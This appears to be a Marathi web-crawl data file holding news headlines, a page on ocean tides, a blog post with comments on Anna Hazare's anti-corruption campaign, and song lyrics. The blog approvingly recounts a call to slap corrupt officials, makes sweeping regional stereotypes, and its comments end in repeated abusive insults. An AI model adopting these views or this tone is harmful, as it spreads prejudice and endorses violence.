ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nजिथे मुस्लिमांना जागा नाही, ते हिंदुत्वच नाही -मोहन भागवत\nस्वातंत्र चळवळीत काँग्रेसचं मोठं योगदान, संघाला वर्चस्व निर्माण करायचं नाही - मोहन भागवत\nआजपासून संघाची व्याख्यानमाला, मोहन भागवतांच्या भाषणाकडे लक्ष\nसंघ परिवाराकडून अखेर राहुल गांधींना अधिकृत निमंत्रण\nसमाज तोडणाऱ्या जातीय राजकारणाला संघाचा विरोध - भैय्याजी जोशी\nकाँग्रेसची नावे मतदार याद्यांमधून गायब करण्यासाठी आरएसएसची फौज कामाला- अशोक चव्हाण\nराहुल गांधींना संघाचं निमंत्रण 'भारताचं भविष्य' कार्यक्रमात बोलण्याची विनंती\n... म्हणून संघाच्या मुखपत्राने राजकुमार हिरानींना फटकारले\nभिवंडी कोर्टानं निश्चित केलेले आरोप राहुल गांधींनी फेटाळले, पुढची सुनावणी 10 आॅगस्टला\n... तर पंतप्रधानपदासाठी संघ प्रणव मुखर्जींचं नाव पुढे करेल - संजय राऊत\n... तर पंतप्रधानपदासाठी संघ प्रणव मुखर्जींचं नाव पुढे करेल - संजय राऊत\nप्रणवदांच्या भाषणाचं लालकृष्ण अडवाणींकडून कौतुक\nमला ज्याची भीती होती तेच झालं, प्रणवदांच्या बदललेल्या फोटोवर शर्मिष्ठा मुखर्जींची प्रतिक्रिया\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00174.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "http://avakashvedh.com/prashnottare/17_bharati_ohotee.html", "date_download": "2018-09-25T17:31:51Z", "digest": "sha1:SP4WAOD2XY7H4YQPSVPD4DZDZZIXPIOU", "length": 10208, "nlines": 125, "source_domain": "avakashvedh.com", "title": "Avakashvedh - First Marathi Website on Astronomy", "raw_content": "\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nखगोलशास्त्राची सुरुवात कशी कराल\nअवकाशवेध.कॉम वरील लेख आणि कथा वाचण्यासाठी इथे क्लिक करा.\nसूर्यानंतरच्या २० तेजस्वी तारका\nकाही महत्त्वाच्या रुपविकारी तारका\nअवकाशातील ११० मेसियर वस्तू\nकृष्णविवर - अवकाशातील विवर\n- मर्यादित आणि व्यापक\nखगोलशास्त्रावरील विविध प्रश्नोत्तरे पाहण्यासाठी इथे क्लिक करा.\nबुध ग्रह दिसण्याच्या तारखा,\nवेळ व त्यांचे स्थान\nइतर ग्रहांवर आपले वजन पहा\nइतर ग्रहांवर आपले वय पहा\nहाताच्या सहाय्याने तार्‍यांमधिल अंतर मोजणे\nधूमकेतूंना नावे देण्याची पद्धती\n२००१ ते २०२९ : शनी ग्रहाच्या\nसूर्य ग्रहण : २००९ - २०१२\nचंद्रग्रहण : २००९ - २०१५\nचंद्राच्या कलेवरुन अमावास्या आणि पौर्णिमांचे गणित \nखगोलीय अंतरे मोजण्याच्या पद्धती\nअवकाशीय वस्तू पाहण्याची क्षमता\nआम्ही केलेली निरीक्षणे पाहण्यासाठी क्लिक करा.\nअवकाशवेध.कॉमचे मोफत सभासद होण्यासाठी इथे क्लिक करा.\nपहिल्या पानावर जाण्यासाठी इथे क्लिक करा.\nसमुद्राला भरती व ओहोटी का येते\nपृथ्वी आणि चंद्र यांच्या एकमेकांच्या होणार्‍या गुरुत्वाकर्षणाच्या प्रभावामुळेच समुद्राला भरती व ओहोटी का येते. चंद्राच्या गुरुत्वाकर्षणाने पृथ्वीचा तर पृथ्वीच्या गुरुत्वाकर्षणाने चंद्राचा भाग खेचला जातो. चंद्राचा पृथ्वीच्या जमीनीवर होणारा प्रभाव फारच कमी असल्याने तो जाणवत नाही. परंतू पृथ्वीवरील पाण्यावर म्हणजेच समुद्रावर हा प्रभाव प्रकर्षाने दिसून येतो.\nपृथ्वीला स्वतःभोवती एक प्रदक्षिणा पूर्ण करण्यासाठी २४ तास लागतात म्हणजेच १२ तासांच्या अंतराने चंद्र पृथ्वीच्या दोन विरुद्ध बाजूस असतो. दुसरी गोष्ट अशी की चंद्र दररोज ५० मिनिटे उशिरा उगवतो म्हणजेच जवळपास १२.२५ तासांच्या अंतराने तो दिवसभरामध्ये पृथ्वीच्या दोन विरुद्ध बाजूस असतो. अशा प्रकारे पृथ्वीभोवती फिरताना अथवा पृथ्वी स्वतःभोवती फिरताना पृथ्वीचा जो भाग चंद्राच्या दिशेने असतो त्या आणि त्याच्या विरुद्ध बाजूस चंद्राच्या गुरुत्वाकर्षणाने भरती आलेली असते.\nपौर्णिमा आणि अमावास्येच्या वेळी सूर्य आणि चंद्र हे पृथ्वीसापेक्ष एकाच रेषेमध्ये येतात, यावेळेस सूर्य आणि चंद्र या दोघांच्या गुरुत्वाकर्षणाचा जास्त प्रभाव पृथ्वीवर पडतो आणि समुद्राला मोठी भरती येते, यालाच 'उधाणाची भरती' असे देखिल म्हणतात.\nसूर्य आणि चंद्र या दोघांच्या गुरुत्वाकर्षणाचा परीणाम जरी पृथ्वीवर होत असला तरी चंद्राच्या मानाने सूर्याचे पृथ्वीवरील गुरुत्वाकर्षण फार कमी आहे, कारण सूर्याच्या मानाने चंद्राचे वस्तुमान आणि गुरुत्वाकर्षण बळ कमी असले तरी चंद्र पृथ्वीच्या जवळ असल्याने त्याचा पृथ्वीवर परीणाम जास्त होतो.\nअक्षरांचा आकार वाढवा / अक्षरांचा आकार पुर्ववत करा\nअवकाशवेध.कॉम वरील माहिती संबंधी", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00175.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2011/08/blog-post_19.html", "date_download": "2018-09-25T17:47:12Z", "digest": "sha1:DMXXJHADF67AXW5ABSKQ5CN274SYM6E7", "length": 39198, "nlines": 141, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: संभवामि युगे युगे", "raw_content": "\nसध्या भारतामध्ये भ्रष्टाचाराविरुद्ध मोठे आंदोलन चालले आहे. अण्णा हजारे या कुठलेही सरकारी पद किंवा पैश्यांचे बळ मागे नसलेल्या सामान्य माणसाच्या मागे आज या माहिती आणि तंत्रज्ञानाच्या युगात जनता मोठ्या प्रमाणात उभी आहे.\nतब्बल २० एक वर्षांपूर्वी आमचे एक युवक शिबिर झाले होते राळेगणसिद्धीला - म्हणजे अण्णांच्या गावी. त्या काळी अण्णांचे नाव त्या गावाचा कायापालट करण्याबद्दल प्रसिद्ध होते. अगदी परदेशातुन आणि इस्राईलमधुन जलतज्ञ येऊन पाहुन जात की नगर जिल्ह्यासारख्या दुष्काळी जिल्ह्यामध्ये हे एकच गाव इतके संपन्न आणि हिरवेगार कसे. अर्थातच त्यामागे अण्णांचे कष्ट होते. सैन्यातुन निवृत्ती घेतल्यानंतर अण्णांनी आपल्या गावी परतुन गांधीजींच्या ग्रामविकासाच्या कल्पनेची कास धरली. दारुबंदी केली. पाण्याचे नियोजन केले, सहकाराच्या माध्यमातुन शाळा, वीज अश्या सोयी आणल्या गावात. राळेगण सिद्धी हे केवळ महाराष्ट्रातच नाही तर देशभर आदर्श गाव म्हणुन प्रसिद्ध झाले.\nआमच्या शिबिराचा समारोप करताना अण्णांनी भ्रष्ट्राचार हाच विषय निवडला. आम्ही ५० एक तरुण असु तिथे. अण्णा म्हणाले, \"भ्रष्टाचार संपवु म्हणुन संपणार नाही. त्यासाठी आक्रमकता पाहिजे. भाषणांनी साध्य होणार नाही. तुम्हा तरुणांना मी एक उपाय सांगतो. शंभर तरुण गोळा करा. मी तुम्हाला संपुर्ण महाराष्ट्रातील १०० सर्वात जास्त भ्रष्ट जिल्हाधिकारी आणि त्यांची पिल्लावळ यांची यादी देतो. तुम्ही अमुक एक दिवस निवडा. प्रत्येक तरुणाने एक अधिकारी निवडायचा आणि त्या दिवशी त्याची भेट ठरवायची बरोबर दहा वाजता. आणि बरोबर दहाच्या ठोक्याला भेट झाली की काहीही न बोलता त्याला एक ठेऊन द्यायची (भडकावुन द्यायची / श्रीमुखात द्यायची / कानाखाली जाळ काढायचा इत्यादि\nअणा पुढे म्हणाले - \"कल्पना करा महाराष्ट्रातील सर्व वर्तमान पत्रांमध्ये बातमी येईल की कसे कुणास ठाऊन परंतु काल शंभर तरुणांनी शंभर कार्यालयातील अधिकाऱ्यांच्या कानाखाली वाजवले.\"\nमला त्यावेळी २० एक वर्षांचा असताना ती कल्पना जेवढी आवडली, आज जवळपास ४० च्या आसपास तेवढीच आवडते. आणि अमेरिकेत इथे येऊन तर माझे ठाम मत झाले आहे की राजकिय गोष्टी भीक मागुन मिळत नसतात तर त्यासाठी लढावे लागते, संघर्ष करावा लागतो. याचना करुन फार तर भीक मिळेल. परंतु हक्क आणि सन्मान मिळणार नाही.\nपुढे अण्णांनी राज्य सरकारमधील भ्रष्टाचाराविरुद्ध यशस्वी लढा दिला आणि दोन मंत्र्यांना बडतर्फ करायला लावले. परंतु मला वाटते अण्णांनी महाराष्ट्रात माहितीचा अधिकार यावा याचा जो यशस्वी लढा दिला ते आपल्या लोकशाहीच्या इतिहासातील एक सुवर्ण पान आहे. आणि महाराष्ट्राने संपूर्ण भारतामध्ये माहितीच्या अधिकाराची मुहुर्तमेढ रोवली.\nआज अण्णांचा लढा हा भारताच्या पातळीवर पोहोचला आहे. लोकपाल विधेयक मांडण्यात यावे या मागणीचा सरकारने अंशत: स्वीकार करुन दोन महिन्यांपूर्वी असे विधेयक आणण्याचे नाटक केले. परंतु अण्णांचे समाधान झाले नाही. प्रत्येक राज्यात लोकायुक्त नेमावा आणि त्याने सर्व भ्रष्टाचाराच्या प्रकरणे सहा महिन्यात निकालात काढावीत अशी मुख्य मागणी आहे. मी त्याचा काहीच अभ्यास केला नाही. परंतु सरकारपेक्षा अण्णांवर माझा शतपटीने जास्त विश्वास आहे.\nआळशी, विघ्नसंतोषी, नकारात्मक लोक तसेच भ्रष्टाचारी किंवा हितसंबंधी मंडळी नाके मुरडत आहेत. या विधेयकाने काय होणार असे विचारत आहेत. परंतु पर्यायी उपाय सुचवत नाहीत.\nतत्वज्ञान मांडायला खूप सोपे आहे. परंतु कृती अवघड असते. अण्णांच्या उपायात तृटी असणारच आहेत. लोकायुक्तावर अंकुश कोण ठेवणार. आहे त्याच गोष्टी नीट चालवता का नाही येत. न्यायव्यवस्था का नाही सुधारता येत. शंभर सुविचार आहेत. अगदी मलादेखील हे पटते की समांतर रचना निष्फळच ठरेल. जोपर्यंत सामान्य माणुस आपल्या हक्कांसाठी जाब विचारण्याचे धाडस करत नाही तोपर्यंत कुठलीच व्यवस्था नीट काम करत नाही. अगदी लोकायुक्त देखील नाही. लोकायुक्त हा थेट जनतेने निवडुन दिला पाहिजे. तरच ते पद चांगले काम करेल. मग न्यायाधिशांना निवडुन दिले तर सर्व प्रश्नांचे मुळ ते नाही का सर्व प्रश्नांचे मुळ ते नाही का सडलेली न्यायव्यवस्था हे भ्रष्टाचाराचे मुळ कारण आहे. जर न्यायाधीश जनता निवडुन देत असेल तर भ्रष्टाचाराला शासन लवकर होईल आणि भ्रष्टाचार कमी होईल.\nपरंतु पुन्हा तेच... वाद चर्चा आणि तत्वज्ञान यांचा अतिरेक करुन संधी वाया घालवण्यापेक्षा काहीतरी पदरात पाडुन घेऊन भ्रष्टाचाराविरुद्ध एक पाऊल पुढे उचलणे जास्त महत्वाचे आहे.\nअण्णांच्या या लढ्यातुन नुसते भ्रष्टाचाराचे नव्हे तर समाजाच्या औदासिन्याचे निर्मुलन होवो. विष्णुचा दहावा अवतार येऊन आमची सुटका करेल अशी आशा बाळगणारी वृत्ती जाऊन स्वत: धडक देऊन काहीतरी करु अशी उर्मी आणि आत्मविश्वास समाजात येवो. आणि हे मराठ्यांनी नाही करायचे तर कोणी करायचे ज्ञानेश्वर एकनाथ तुकारामांपासुन ते अगदी छत्रपती शिवाजी, संभाजीराजे, थोरले बाजीराव, माधवराव ते शाहु फुले आंबेडकर टिळक गोखले आगरकर आणि यशवंतराव अशी आपली परंपरा. वस्तुस्थिती ही आहे की केवळ महाराष्ट्रामध्येच हे स्फुल्लिंग आहे आणि ते शिवाजी महाराजांनी पेटवले आहे. तोच आपला वारसा आहे आणि आपणच तो पुढे न्यायचा आहे. अण्णा हे केवळ त्याच परंपरेतील एक धागा आहेत आणि हा लढा त्या परंपरेतील एक रत्न आहे.\nविनंतीस मान देवून आवर्जून लेख लिहिल्याबद्दल धन्यवाद. तुमच्याही मनात कुठे तरी भारताबद्दलचे प्रेम आहे हे पाहून छान वाटले.\nआंदोलनाची सुरुवात तर छान झाली आहे. उत्तरोत्तर या आंदोलनाला सर्वच स्तरांवरुन पाठिंबा मिळो. तुमच्या ब्लॉग मधूनही वेळोवेळी त्या विषयाची चर्चा होवो.\nअहो असे काय म्हणताय भारताबद्दल नाही तर काय पापीस्तान बद्दल प्रेम असणार काय\nलेख लिहायला सांगीतल्याबद्दल धन्यवाद भारताबद्दल मी बऱ्याचदा लिहितो. परंतु अमेरिकास्थित भारतियांना काही लिहायचे तर भीती वाटते म्हणुन खूप काही लिहित नाही.\n> वस्तुस्थिती ही आहे की केवळ महाराष्ट्रामध्येच हे स्फुल्लिंग आहे\nश्री. धनंजय, तुम्ही म्हणता ती शंका अतिशय प्रामाणिक आहे. परंतु इतिहास वाचला तर कळते की मागच्या ३०० वर्षांत तरी मराठ्यांमुळे (प्रांतवाचक अर्थ घ्यावा) भारत मुसलमान होता होता वाचला. मराठ्यांमुळे भारतियांची स्वातंत्र्याची ऊर्मी शिल्लक राहिली आणि स्वातंत्रलढा महाराष्ट्राच्या नेतृत्वाखाली लढला गेला. सुरुवात पहा - नानासाहेब पेशवे, राणी लक्ष्मीबाई, तात्या टोपे, त्यानंतर फडके-सावरकर-टिळक (जहाल पासुन) ते गोखले रानडे आगरकर आणि अगदी आंबेडकर सुद्धा. सावरकर जहालवाद्यांचे तर गोखले गांधीजींचे गुरु. आंबेडकर घटनाकार. महाराष्ट्राच्या या स्फुल्लिंगाची आणि नेतृत्त्वाची धास्ती केवळ ब्रिटिशांनीच नाही तर स्वकियांनी देखील धास्ती घेतली. ब्रिटिशांनी हिंदुस्तान मुघल नव्हे तर मराठयांकडुन घेतला. उत्तरेत शिंदे होळकर, मध्ये आणि पूर्वेला नागपुरकर भोसले, तर पश्चिमेला खुद्द पेशवे आणि गायकवाड. पैकी बव्हंशी लोकांनी इंग्रजांशी अखेरपर्यंत लढा दिला म्हणुन त्यांची नामोनिशाणी मिटली. शनिवारवाडा, रायगड, होळकर, भोसले यांचे राजवाडे दिसत नाहीत. परंतु राजस्थानात अमरविलास लक्ष्मीविलास कसे शिल्लक राहतात. दिल्ली चे राजवाडे कसे का होईना का शिल्लक राहिले. कारण त्या लोकांनी नमते घेतले. त्यांची स्वातंत्र्याची ऊर्मी नाहीशी झाली होती आणि आहे. तुम्ही दिल्लीचे लोक पहा. शतकानुशतके मुघलांना मुजरे करुन त्यांच्यावर असलेला मुस्लिम संस्कृतीचा प्रभाव स्पष्ट जाणवतो. बंगाली लोकांवर इंग्रजांचा प्रभाव होता आणि आहे - जनमनगण अधिनायक आणि भारत भाग्यविधाता. दक्षिणेत मागच्या ३०० वर्षात काय घडले टिपु सुल्तान सोडला तर तिथे स्वातंत्र्याची आस तेवढी तीव्र नव्हती. राहता राहिले गुजरात कर्नाटक. दोन्ही राज्ये महाराष्ट्राला जवळची आणि मान्य करो न करो - महाराष्ट्र हा सांस्कृतिक आणि राजकीय केंद्रबिंदु असणारी.\nपाश्च्यात्य लोकांमध्ये (गोऱ्यांमध्ये) \"व्हाईट मॅन्स बर्डन\" म्हणुन कल्पना आहे. ती आणि \"अमेरिकन एक्सेप्शनलिझम\" या दोन संकल्पना भारताच्या सीमांमध्ये मराठी ंमाणसांना अगदी लागु पडतात. आपण त्याबद्दल कोणाला काय वाटेल असे समजून आपले कर्तव्य विसरण्याची गरज नाही. भारतात एतद्देशीयांचे राज्य व्हावे (अर्थात स्वातंत्र्य) ही मूळची छत्रपतींची कल्पना. आजही ती अर्थवट स्वरुपातच उतरली आहे. अजूनही परकियांचा प्रभाव (मुघल राज्यकर्ते ब्रिटिश किंवा सध्याचे अमेरिकापुराण असो) अगदी जाणवतो. आणि मला तरी असे क्वचीतच दिसले आहे की इतर प्रांतातील लोकांना स्वतंत्र विचार, भारतीय विचार आणि समस्त भारतियांचा विचार करण्याची आस आहे. ते फक्त मराठी लोकांमध्येच प्रकर्षाने जाणवते.\nमहाराष्ट्राला या सर्व लढ्याचे योग्य मोजमाप पदरात पडले नाही याची दोन कारणे आहेत. १) इतर राज्यांमध्ये दिसणारी महाराष्ट्राबद्दलची असूया २) ब्राह्मण मराठा तेढ. यामुळे आपण मागे पडतो. आणि आपण मागे पडतो म्हणुन बाकीच्या लोकांच्या दिल्लीमध्ये मर्कटलीला चालतात. असो ... तुमच्या अभिप्रायावरुन एवढे लिहिले खरे. चुका दाखवल्यात तर बरेच वाटेल.\nलेख छान लिहिला आहे. पण बरेचदा असे वाटते की हा जो मास हिस्टेरीयाचा प्रकार सुरु झाला आहे, त्याला आवर घातला जाणे आवश्यक आहे. अण्णांचं लोकपाल विधेयक आलं, की सगळं काही आलवेल होईल अशी जनमानसामधे भावना निर्माण होत चालली आहे. बरेचदा तर अण्णा वाघावर बसले आहेत की काय असे वाटते. एकदा वाघावर बसल्यावर त्याला आटोक्यात ठेवणॆ हे अतीशय आवश्यक असते... नाहीतर...\nमहेंद्रजी, मास हिस्टेरिया आहे हे खरे आहे. हिस्टेरिया असू नये हे पटते. परंतु असंतोषातुन हिस्टेरिया आला आहे का सरकारच्या निष्क्रिय आणि भ्रष्ट्पणाची कमाल झाली आहे. मला वाटते अण्णा फक्त प्रश्नाला वाचा फोडताहेत. त्यांच्याकडे उत्तरे नसतीलही. उत्तरे खरेतर समाजातुन आली पाहिजेत. लोकशाही मध्ये सामान्य माणुस आपले राजकीय कर्तव्य करणार असेल तर भ्रष्टाचार नक्की नष्टप्राय होईल. नाहीतर कितीही लोकपाल नेमले तरीही ते स्वत: भ्रष्ट होतील. त्यांच्यावर अंकुश कोण ठेवणार\n> बंगाली लोकांवर इंग्रजांचा प्रभाव होता आणि आहे\nतुमचा सगळा लेख एकाच गोष्टीला पुरावा देणार्‍या गोष्टी पुढे ठेऊन लिहिला आहे. इंग्रजी भाषा 'वाघिणीचे दूध' आहे, ही गोष्ट मराठी लोकांनाही कळली होती. टिळक वगैरे मंडळी इतर प्रान्तियांशी सल्लामसलत इंग्रजीत करत. गांधीजींनी हिन्दीचा आग्रह धरला. परशुरामतात्या गोडबोले त्यांच्या काळचे मोठे कवी - त्यांनी 'धन्य राणी विक्तुरिया' कविता लिहिली. ही चमचेगिरी टागोरांनीच केली असा भाग नाही. 'नामदार गोखले इंग्रज़ांचे पोपट आहेत' अशी पोपट उडतानाची व्यंगचित्रं टिळकप्रेमी काढत.\nतुम्ही उल्लेख केलेले यशवन्तराव 'नेहरू महाराष्ट्रापेक्षा मोठे आहेत' म्हणून कीर्ती पावले. ते तुम्हाला आठवले पण हेडगेवार-देवरस आठवले नाहीत. गांधीजींना आणि हेडगेवारांना सर्व भारतभर पाठिम्बा मिळाला तो देशभक्ती सर्वत्र असल्यामुळेच. आणि शिवाजीच्या काळातही स्वत: शिवाजीचे अनेक सासरे मुसलमानांकडून लढत राहिले. १८५७ चा लढा महाराष्ट्रात झालाच नाही, तरी तात्या टोपे - झाशीची राणी ही नावं घेतली ज़ातात. त्यांच्या बाज़ूचे हिन्दी भाषिक काय देशभक्तीत कमी होते दोन नांवांमुळे तो महाराष्ट्राचा लढा होतो दोन नांवांमुळे तो महाराष्ट्राचा लढा होतो पंजाब तर नेहमीच शौर्यात पुढे आहे. लंकेत तमिळ लोकांनी जी कमाल केली ती स्वत:च्या भारतात हिन्दु करू शकत नाहीत. त्यात तुमचे स्फुल्लिंगवाले मराठी लोकही आलेत. उमा भारती, नरेन्द्र मोदी या लोकांबाबत मला फार आदर आहे. हे काही मराठी लोक नाहीत. ते असो.\n> बरोबर दहाच्या ठोक्याला भेट झाली की काहीही न बोलता त्याला एक ठेऊन द्यायची\nहे अण्णा हज़ारे यांना भाषणबाजी करायला ठीक आहे. (त्यांच्याविषयी आदर आहेच.) पण हा प्रयोग शिवसेनेनी खूप केला आहे. (बाळासाहेब ठाकरे यांच्याबद्दलही आदर आहेच. अगदी प्रामाणिकपणे.) ही ठोकशाही प्रत्यक्षात घडते तेव्हा विकृत स्वरुपात दिसते. तेव्हा ठोकशाही चांगली असतेही आणि चांगली नसतेही.\nहरिलाल गांधी बापाला डिवचायला सहा महिने 'अब्दुल्लाह' बनला, तसा प्रत्यक्ष शिवाजीचा मुलगा संभाजी (आणि नेताजी पालकरही) औरंगज़ेबाच्या कम्पूत गेलेच. तेव्हा महाराष्ट्रात उज्ज्वल इतिहास आहे, आणि फितुरीही आहे. मी तुमच्या लेखाशी पूर्ण असहमत आहे, अशातला भाग नाही. पण एकूण इतर प्रान्तियांना शिव्या देऊन दूर ढकलण्यात अर्थ नाही.\nधनंजय, देशभक्ती सगळीकडे आहे. मी इतकेच म्हणालो की \"मराठी मातीमध्ये देशभक्ती बरोबरच एक स्वातंत्र्याची ऊर्मी आहे.\" आणि याचे कारण मुघलांना (मुख्य) आव्हान फक्त इथुनच दिले गेले. असे म्हणणे म्हणजे इतरप्रांतियांना शिव्या देणे समजु नये.\nगांधीजी केवळ महानच नाही तर शिवाजी महाराजांच्या बरोबरीचे दुसरे राष्ट्रपुरुष होते असे माझे मत आहे. (महाराजांचा एकेरी उल्लेख कृपया करु नये).\nबाकी मी न बोललेल्या बऱ्याच गोष्टी तुम्ही बोलता आहात. शौर्य इतर ठिकाणी नाही असे मी कधी म्हटले लढा महाराष्ट्रात झाला नाही याने काय फरक पडतो लढा महाराष्ट्रात झाला नाही याने काय फरक पडतो हेडगेवार देवरस यांबद्दल आदर आहे. देवरसांनी संघाचे काम नक्कीच जास्त व्यापक केले (१७-१८ वर्षांचा असताना पुण्यात मोतिबागेत त्यांच्या अगदी पुढ्यात बसुन एकदा भाषण ऐकले आहे.). फितुरी / सवतासुभा नव्हते असेही मी म्हणालो नाही आणि होते म्हणुन महाराष्ट्रावर काही बालंट आहे असेही मानायचे कारण नाही. इंग्रजांचे लांगुलचालन बऱ्याचजणांनी केले. दिल्लीचे लांगुलचालन बऱ्याचजणांनी केले. परंतु प्रत्यक्ष काम काय केले की फक्त लाळघोटेपणाच केला\nतुम्ही असहमत आहात असे मला वाटत नाही. परंतु मला वाटते तुम्ही स्वत: एक लेख लिहा या विषयावर की \"महाराष्ट्राचे आणि इतर प्रांतांचे भारतीय स्वातंत्र्यातील योगदान\". त्यातुन या बऱ्याचश्या गोंधळवादी गोष्टी दूर होऊन तुम्हाला नेमके काय म्हणायचे ते चांगले समजेल.\nजाता जाता फक्त एक स्पष्ट करावेसे वाटते - हजारेंची आक्रमकता म्हणजे गुंडगिरी आणि हप्तागिरी नाही. कुठल्याही सैनिकी पेश्यातील प्रामाणिक माणसाची अशीच प्रतिक्रिया येणार. त्याबद्दल फार काही तात्विक चर्चा करण्याची गरज नाही.\nपुन्हा नमूद करतो, देशभक्ती सगळीकडे आहे. मी इतकेच म्हणालो की \"मराठी मातीमध्ये देशभक्ती बरोबरच एक स्वातंत्र्याची ऊर्मी आहे.\" असे म्हणणे म्हणजे इतरप्रांतियांना शिव्या देणे समजु नये.\n'इतर प्रान्तांत स्वतन्त्र विचार क्वचित होतो', 'दिल्लीकडले लोक मुघलांना मुज़्रे करण्याच्या संवयीचे आहेत' ही भाषा वापरल्यावर हे 'इतरप्रांतियांना शिव्या देणे समजु नये' हे मला पटत नाही. दिल्लीचे लोक मुज़रेबाजीवाले आहेत, हे मला वाटत नाही. आणि 'मराठी लोक मोठे ताठ आहेत' असंही वाटत नाही. ढोबळ निष्कर्ष (generalization) काढलेले मला अवश्य चालतात, पण मूळ लेखातेले काही पटलेले नाहीत.\nआज़च्या आक्रस्ताळी वातावरणात नियतकालिकांतून शिवाजीचा एकेरी उल्लेख होणार नाही. पण ज्ञानदेव, तुकाराम, शिवाजी, लता यांचा एकेरी उल्लेख करण्याची मराठी परम्परा आहे. उलट उत्तरेकडे बरेचदा गीता-जी, अयोध्या-जी असे निर्जीवांचेही आदरपूर्वक उल्लेख होतात. 'अन्तू बरवा' मधे 'गांधी कोकणात आला नाही' असाच उल्लेख आहे. वामन पण्डिताचा तर मी आदरार्थी उल्लेख कुठेच वाचलेला नाही. आणि 'नानासाहेब पेशव्याला' (शेज़वलकर), 'मोरोपन्ताला काव्यस्फ़ूर्ती' (विनोबा) असे एकेरी उल्लेख साहित्यात वैपुल्यानी आढळतात.\nइतर प्रांतांचे भारतीय स्वातंत्र्यातील योगदान - याविषयी मी फार काही माहिती बाळगत नाही. पण ते योगदान महाराष्ट्राबाहेरूनही खूप आहे, हे नक्की.\nइतर मुद्दे पुढे वेळ मिळाल्यास.\nश्री नानिवडेकर, मला वाटते तुम्ही विपर्यास करता आहात माझ्या मूळ लेखाचा आणि त्यानंतरच्या चर्चेचा. मला वाटते \"लेट्स अ‍ॅग्री टू डिसअ‍ॅग्री\".\nआजचे वातावरण आक्रस्ताळी असेलही परंतु शिवाजी महाराजांबद्दल आकस आणि विरोध बराच जुना आहे. एकेरी उल्लेख करुन आपण आपली लायकी दाखवुन देतो. तेव्हा पुन्हा विनंती की उगाच भलत्या गोष्टीचे बौद्धिक समर्थन करु नये.\nशिवाजी, तुकाराम यांचे एकेरी उल्लेख करणारे लोक त्यांच्याविषयी आकस बाळगणारे नव्हते. विनोबांना काय मोरोपन्तांविषयी आकस होता ती पद्‌धत तुम्हाला 'भलतीच' वा नालायकपणाचं लक्षण वाटली तर तो तुमचा अधिकार आहे. पण आकस-विरोध या गोष्टींना तिथे स्थान नाही.\nमाझ्याकडून गांधी-सावरकर-कुसुमाग्रज-दीनानाथ यांचा उल्लेख एकेरी होत नाही. ज्ञानेश्वर-एकनाथ-शिवाजी-लता-वामन पण्डित यांचा उल्लेख एकेरी होतो. त्यामागे काहीही खोल कारण नाही. ती एक मराठी परम्परा आहे.\nही विकृती आहे. परंपरा नाही.\n> ही विकृती आहे.\nधनंजय नानीवडेकर, तु तुझी परंपरा तुझ्या घरी तुझ्या बापावर वापर. आणि या ब्लॉगवरुन तोंड काळे कर.\n> धनंजय नानीवडेकर, तु तुझी परंपरा तुझ्या घरी तुझ्या बापावर वापर. आणि या ब्लॉगवरुन तोंड काळे कर.\n> धनंजय नानीवडेकर, तु तुझी परंपरा तुझ्या घरी तुझ्या बापावर वापर. आणि या ब्लॉगवरुन तोंड काळे कर.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00175.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.ganimarathi.com/2013/07/blog-post_17.html", "date_download": "2018-09-25T17:56:32Z", "digest": "sha1:PUFEKQ5X6INFFEDNMD3VDHTRY7VAWJEE", "length": 7010, "nlines": 159, "source_domain": "www.ganimarathi.com", "title": "मराठी कविता आणि गाणी: जिंदगी - दुनियादारी", "raw_content": "मराठी कविता आणि गाणी\nजिंदगी जिंदगी जिंदगी हा जिंदगी\nमै हसी मेरी जिंदगी\nऐसा क्या हुआ रे\nऐसा क्यू हुआ रे\nथॉट चा हा शॉट नको रे\nथोडा कश मार ले\nहलकी हलकी किक बसू दे\nसारे गम छोड दे\nएक दम ओढ ले\nस्मोक मै हि होप है प्यारे\nमै जिंदगी का साथ निभाता चला गया\nहर फिक्र को धुए मै उडाता चला गया\nजिंदगी जिंदगी जिंदगी हा जिंदगी\nमै हसी मेरी जिंदगी\nसाला हि गँगच वेगळी होती\n सगळ्यांशी आपली ओळख झाली\n हा कुणाचाच नव्हता तरी हि गँगचा होता\nहे उम्या आणि श्री हे म्हणजे नवविवाहित दांपत्या सारखं\nकुठेही गेले तरी एकत्रच\nआता राहिले सॉरी आणि नित्या\nह्यांची तर ना दिग्याने मला एक स्पेशल ओळख करून दिली होती\nसॉरी सॉरी म्हणत म्हणत या जगी हा आला रे\nबात मै है कन्फ्युजन गडबड घोटला रे\nदस का बीस करने मै शातीर ये साला 